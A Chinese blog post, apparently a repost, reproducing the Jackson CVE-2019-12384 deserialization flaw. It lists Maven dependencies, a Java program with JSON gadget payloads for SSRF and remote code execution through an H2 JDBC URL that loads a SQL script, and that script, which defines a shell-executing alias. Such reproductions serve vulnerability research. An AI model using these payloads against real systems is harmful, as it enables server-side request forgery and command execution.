0x00:前言
近期关于Jackson的RCE漏洞CVE-2019-12384爆出,漏洞的复现以及依赖,这里已经给出,我这里就使用虚拟机里的java的环境重新复现了一下,权当向各位大佬学习。
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
https://www.sxt.cn/jackson/jackson_environment.html
0x01:环境准备
jackson自身的jar包以外还需要logback-core和h2,具体的pom配置如下:
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<!--https://mvnrepository.com/artifact/ch.qos.logback/logback-core -->
<dependency>
<groupId>ch.qos.logback</groupId>
<artifactId>logback-core</artifactId>
<version>1.3.0-alpha4</version>
</dependency>
<!--https://mvnrepository.com/artifact/com.h2database/h2 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.199</version>
<scope>compile</scope>
</dependency>
0x02:漏洞复现
这里用JAVA复现,具体看代码注释。
JackonSerial.java
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;
public class JackonSerial {
public static void main(String[] args) throws Exception {
//一定要实例化Driver否则会报错
Class.forName("org.h2.Driver").newInstance();
System.out.println("Mapping");
//该条payload用于SSRF的复现
String jsonStr1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8005/~/test\"}]";
//该条payload用于RCE的复现
String jsonStr2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println("Serializing");
Object obj = mapper.readValue(jsonStr1, java.lang.Object.class)
System.out.println("objectified");
System.out.println("stringified: " + mapper.writeValueAsString(obj));
}
}
inject.sql
CREATE ALIASSHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open/Applications/Calculator.app/')
使用第一个payload实现SSRF的效果图。
使用第二个payload实现RCE的效果图。
0x03:总结
1、这个漏洞的利用有两个特别鸡肋的点: 第二点, 注意这个漏洞的触发,是在序列化恶意的对象的时候触发的,而jackjson大部分情况在web中都是用于处理去反序列化前端传入的json数据的。 2、相同的套路在fastjson也是可以造成RCE的,但是利用同样鸡肋。
第一点, 它需要依赖两个jar才能造成rce漏洞;
原文来自:
https://www.freebuf.com/vuls/209394.html